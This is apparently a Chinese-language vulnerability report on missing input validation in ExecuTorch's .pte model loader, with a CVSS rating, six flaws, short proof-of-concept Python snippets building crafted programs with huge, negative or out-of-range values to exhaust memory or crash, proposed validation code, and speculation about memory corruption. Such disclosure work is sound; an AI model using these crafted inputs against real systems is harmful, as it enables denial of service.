| # ExecuTorch .pte Format — 文件格式验证缺失导致拒绝服务 |
|
|
| ## 概述 |
|
|
| **项目**: executorch (PyTorch Edge Runtime) |
| **版本**: 1.2.0+cpu |
| **格式**: .pte (Program Transfer Executable, FlatBuffers 二进制) |
| **CVSS 3.1**: 5.5 (Medium) — `AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` |
| **CWE**: CWE-20 (Improper Input Validation), CWE-400 (Uncontrolled Resource Consumption) |
|
|
| ## 漏洞摘要 |
|
|
| | # | 漏洞 | 严重程度 | PoC 结果 | |
| |---|------|----------|----------| |
| | 1 | Tensor 维度无上界检查 | Medium | `[2^31-1, 2^31-1]` 和 10000 维 tensor 被接受 | |
| | 2 | 列表字段无数目限制 | Medium | 100,000 个 execution plan 被接受,6.55s 解析时间 | |
| | 3 | 负数/零维 tensor 不拒绝 | Low | `[-100]` 和 `[0]` 维度通过验证 | |
| | 4 | Buffer 索引越界引用 | Medium | `data_buffer_idx=999` 但仅 0 个 buffer 存在 | |
| | 5 | Segment 偏移无验证 | Medium | `offset=-1` 和 `size=999999999` 被接受 | |
| | 6 | `deserialize_pte_binary()` 零结构验证 | Medium | 直接从二进制 → flatc → JSON → 对象,无任何安检 | |
|
|
| ## 技术分析 |
|
|
| ### 1. 加载管道完全无验证 |
|
|
| `deserialize_pte_binary()` 的完整调用链: |
|
|
| ``` |
| .pte binary → flatc subprocess (JSON decompile) → json.loads() |
| → _json_to_dataclass() → Program dataclass |
| ``` |
|
|
| **没有任何一个环节执行结构安全性检查**: |
| - `flatc` 仅检查 FlatBuffer 格式正确性(file_identifier "ET12"),不检查模型语义 |
| - `json.loads()` 仅解析 JSON,不验证内容 |
| - `_json_to_dataclass()` 递归构造数据类,无边界检查 |
| - `verifier.py` 仅检查图级别语义(算子合法性、tensor 连续性),且**默认不启用** |
|
|
| ### 2. Tensor 维度无上界(`schema.py:66`) |
|
|
| ```python |
| @dataclass |
| class Tensor: |
| scalar_type: ScalarType |
| storage_offset: int |
| sizes: List[int] # ← 无上限!可以是任意整数值 |
| dim_order: List[int] # ← 无数目限制!可以是 10000 维 |
| ... |
| ``` |
|
|
| 对比 ONNX 的 `check_model()` 会验证 shape 合理性,ExecuTorch 直接接受 `sizes=[2147483647, 2147483647]`(4.6 exa-elements)而只有 1 byte 的实际存储。 |
|
|
| ### 3. 列表字段无条目数限制 |
|
|
| ```python |
| @dataclass |
| class Program: |
| execution_plan: List[ExecutionPlan] # ← 可以是 100,000 个 |
| ... |
| |
| @dataclass |
| class ExecutionPlan: |
| values: List[EValue] # ← 无限制 |
| chains: List[Chain] # ← 无限制 |
| operators: List[Operator] # ← 无限制 |
| delegates: List[BackendDelegate] # ← 无限制 |
| ``` |
|
|
| 100,000 个 execution plan 的 JSON 仅 20.6 MB,但解析后产生海量 Python 对象,可导致 OOM。 |
|
|
| ### 4. 关键代码路径 |
|
|
| **deserialize_pte_binary** (`_serialize/_program.py:747-770`): |
| ```python |
| def deserialize_pte_binary(program_data: bytes) -> PTEFile: |
| # 无magic检查,无大小限制,无完整性验证 |
| program: Program = _json_to_program( |
| _program_flatbuffer_to_json(program_data[:program_size]) |
| ) |
| ... |
| ``` |
|
|
| **_json_to_dataclass** (`_serialize/_dataclass.py:60-145`): |
| ```python |
| def _json_to_dataclass(json_dict, cls=None): |
| # 递归处理,无深度限制 |
| # List字段无条目数限制 |
| # int字段无取值范围检查 |
| for field in cls_flds: |
| ... |
| if get_origin(T) is list: |
| data[key] = [_json_to_dataclass(e, T) for e in value] |
| ``` |
| |
| ### 5. 与其他 ML 格式对比 |
| |
| | 特性 | ONNX | TF SavedModel | Core ML | OpenVINO | **ExecuTorch** | |
| |------|------|---------------|---------|----------|----------------| |
| | Shape 上界检查 | ✅ check_model | ✅ | ❌ | ❌ (C++ 有) | **❌** | |
| | 维度 > 0 验证 | ✅ | ✅ | ❌ | ❌ | **❌** | |
| | 列表计数限制 | ✅ | ✅ | ❌ | ❌ | **❌** | |
| | Buffer 索引验证 | ✅ | ✅ | ❌ | ✅ | **❌** | |
| | 加载前结构验证 | ✅ | ✅ | ❌ | ❌ | **❌** | |
| | 独立 check_model | ✅ | N/A | ❌ | ❌ | **❌** | |
|
|
| ## 复现过程 |
|
|
| ### PoC 1: 极端 Tensor 维度导致内存耗尽 |
|
|
| ```python |
| from executorch.exir._serialize._program import _json_to_program |
| import json |
| |
| crafted_json = json.dumps({ |
| "version": 1, |
| "execution_plan": [{ |
| "name": "forward", |
| "container_meta_type": {"encoded_inp_str": "", "encoded_out_str": ""}, |
| "values": [{ |
| "val": { |
| "scalar_type": "FLOAT", |
| "storage_offset": 0, |
| "sizes": [2147483647, 2147483647], # 4.6 exa-elements |
| "dim_order": [0, 1], |
| "requires_grad": False, |
| "layout": 0, |
| "data_buffer_idx": 0, |
| "allocation_info": None, |
| "shape_dynamism": "STATIC" |
| }, |
| "val_type": "Tensor" |
| }], |
| "inputs": [], "outputs": [], "chains": [], |
| "operators": [], "delegates": [], |
| "non_const_buffer_sizes": [0] |
| }], |
| "constant_buffer": [{"storage": [0]}], # 仅 1 byte |
| "backend_delegate_data": [], |
| "segments": [], |
| "constant_segment": {"segment_index": 0, "offsets": []} |
| }) |
| |
| program = _json_to_program(crafted_json.encode("utf-8")) |
| # ✅ 成功!无错误! |
| print(program.execution_plan[0].values[0].val.sizes) |
| # [2147483647, 2147483647] |
| ``` |
|
|
| ### PoC 2: 海量列表导致 OOM |
|
|
| ```python |
| N = 100000 |
| crafted_json = json.dumps({ |
| "version": 1, |
| "execution_plan": [ |
| {"name": f"plan_{i}", ...} |
| for i in range(N) # 100,000 个 plan |
| ], |
| ... |
| }) |
| program = _json_to_program(crafted_json.encode("utf-8")) |
| # ✅ 成功!解析耗时 6.55s |
| ``` |
|
|
| ### PoC 3: 负数维度 |
|
|
| ```python |
| "sizes": [-1] # ✅ 被接受 |
| "sizes": [-100] # ✅ 被接受 |
| "sizes": [0] # ✅ 被接受 |
| ``` |
|
|
| ### PoC 4: Buffer 索引越界 |
|
|
| ```python |
| "data_buffer_idx": 999 # 只有 0 个 buffer |
| # ✅ 被接受!运行时崩溃 |
| ``` |
|
|
| ## 修复建议 |
|
|
| ### 1. 添加维度边界检查(`_dataclass.py` 或 `_program.py`) |
|
|
| ```python |
| MAX_TENSOR_DIM_VALUE = 2**31 - 1 # 合理的上界 |
| MAX_TENSOR_DIM_COUNT = 32 # 最大维度数 |
| MAX_TOTAL_ELEMENTS = 2**48 # ~256T elements 上界 |
| |
| def _validate_tensor_dims(sizes: List[int]) -> None: |
| if len(sizes) > MAX_TENSOR_DIM_COUNT: |
| raise ValueError(f"Tensor dimension count {len(sizes)} exceeds {MAX_TENSOR_DIM_COUNT}") |
| for i, s in enumerate(sizes): |
| if s <= 0: |
| raise ValueError(f"Tensor dimension {i} is {s}, must be > 0") |
| if s > MAX_TENSOR_DIM_VALUE: |
| raise ValueError(f"Tensor dimension {i} value {s} exceeds {MAX_TENSOR_DIM_VALUE}") |
| |
| def _validate_tensor_buffer_index(tensor, num_buffers): |
| if tensor.data_buffer_idx >= num_buffers: |
| raise ValueError( |
| f"Tensor references buffer {tensor.data_buffer_idx} " |
| f"but only {num_buffers} buffers exist" |
| ) |
| ``` |
|
|
| ### 2. 限制列表条目数 |
|
|
| ```python |
| MAX_EXECUTION_PLANS = 1024 |
| MAX_VALUES = 2**20 |
| MAX_CHAINS = 1024 |
| MAX_OPERATORS = 2**16 |
| MAX_DELEGATES = 256 |
| |
| def _validate_program_limits(program: Program) -> None: |
| if len(program.execution_plan) > MAX_EXECUTION_PLANS: |
| raise ValueError(f"Too many execution plans: {len(program.execution_plan)}") |
| for plan in program.execution_plan: |
| if len(plan.values) > MAX_VALUES: |
| raise ValueError(f"Too many values: {len(plan.values)}") |
| # ... |
| ``` |
|
|
| ### 3. 添加 `check_model()` 等价函数 |
| |
| ```python |
| def check_pte(program: Program) -> None: |
| """Validate structural integrity of a deserialized .pte program.""" |
| _validate_program_limits(program) |
| num_buffers = len(program.constant_buffer) |
| for plan in program.execution_plan: |
| for evalue in plan.values: |
| if isinstance(evalue.val, Tensor): |
| _validate_tensor_dims(evalue.val.sizes) |
| _validate_tensor_buffer_index(evalue.val, num_buffers) |
| for i, seg in enumerate(program.segments): |
| if seg.offset < 0: |
| raise ValueError(f"Segment {i} has negative offset {seg.offset}") |
| ``` |
| |
| ### 4. 在 `deserialize_pte_binary()` 中集成验证 |
|
|
| ```python |
| def deserialize_pte_binary(program_data: bytes) -> PTEFile: |
| # ... existing parsing code ... |
| program = _json_to_program(...) |
| check_pte(program) # ← 添加此行 |
| # ... restore segments ... |
| ``` |
|
|
| ## 想法(发散思维) |
|
|
| 1. **越界 buffer 索引 → C++ 运行时崩溃 → 潜在 UAF/越界读写**:`data_buffer_idx=999` 被 Python 层接受,如果 C++ 运行时信任此索引直接访问数组,可能导致内存损坏 |
|
|
| 2. **极端维度 × 运行时编译**:C++ 运行时 `compile_model()` 会根据 tensor 维度分配内存。如果 Python 层不验证,恶意的 2^31 维度会传递到 C++ 层导致 malloc 失败或整数溢出 |
|
|
| 3. **flatc 版本依赖性**:executorch 打包了自己的 `flatc` 二进制(`executorch/data/bin/flatc`),如果版本过旧可能包含已知漏洞 |
|
|
| 4. **Schema 版本升级绕过**:`schema_check.py` 管理 schema 版本兼容性,但版本检查仅用于检测 schema 变更,不作为安全验证。攻击者可以声明任意 SCHEMA_VERSION |
| |
| 5. **FlatBuffer `force_align` 操纵**:`_patch_schema_alignment()` 修改对齐值,如果攻击者控制 alignment 值可能导致段偏移计算错误 |
|
|
| 6. **与 ONNX/OpenVINO 漏洞的共性**:所有 ML 格式的 Python 前端都缺乏结构验证,说明这是一个行业性盲区——开发者依赖底层序列化格式(Protobuf/FlatBuffers)的安全性,但忽略了模型语义层面的恶意构造 |
|
|
| ## 文件清单 |
|
|
| - `poc_executorch_bypass.py` — 7 个 PoC 的完整测试脚本 |
| - `README.md` — 本文件 |
|
|